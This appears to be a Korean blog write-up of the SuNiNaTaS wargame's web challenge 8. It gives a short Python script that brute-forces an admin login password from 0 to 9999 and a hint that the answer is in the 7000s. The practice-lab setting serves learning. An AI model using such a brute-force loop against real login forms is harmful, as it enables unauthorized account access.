본문 바로가기
Wargame Write-Up/SuNiNaTaS

[SuNiNaTaS] (Web) 8번문제

by snwo 2020. 3. 3.

어떤값을 넣어도 Password Incorrect! 가 뜬다.

힌트를 보자면

 

아이디는 admin 이고 비밀번호는 0부터 9999사이에 있다고 알려준다.

그렇다면 0부터 9999를 다 대입해보는 BruteForce를 통해 비밀번호를 맞춰보자

 

    [python]

 

Password Incorrect! 문구가 없으면 비밀번호가 맞는거니까 그걸 바탕으로 코드를 짰다

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import time
data={'id':'admin','pw':0}
for i in range(0,10000):
data['pw']=i
    r=requests.post(url,data=data)
    time.sleep(0.001)
    if r.text.find("Password Incorrect!")==-1:
        print("Password is %d"%i)
        break
    print("no %d"%i)
 

 

힌트를 주자면 7000 대에 있다.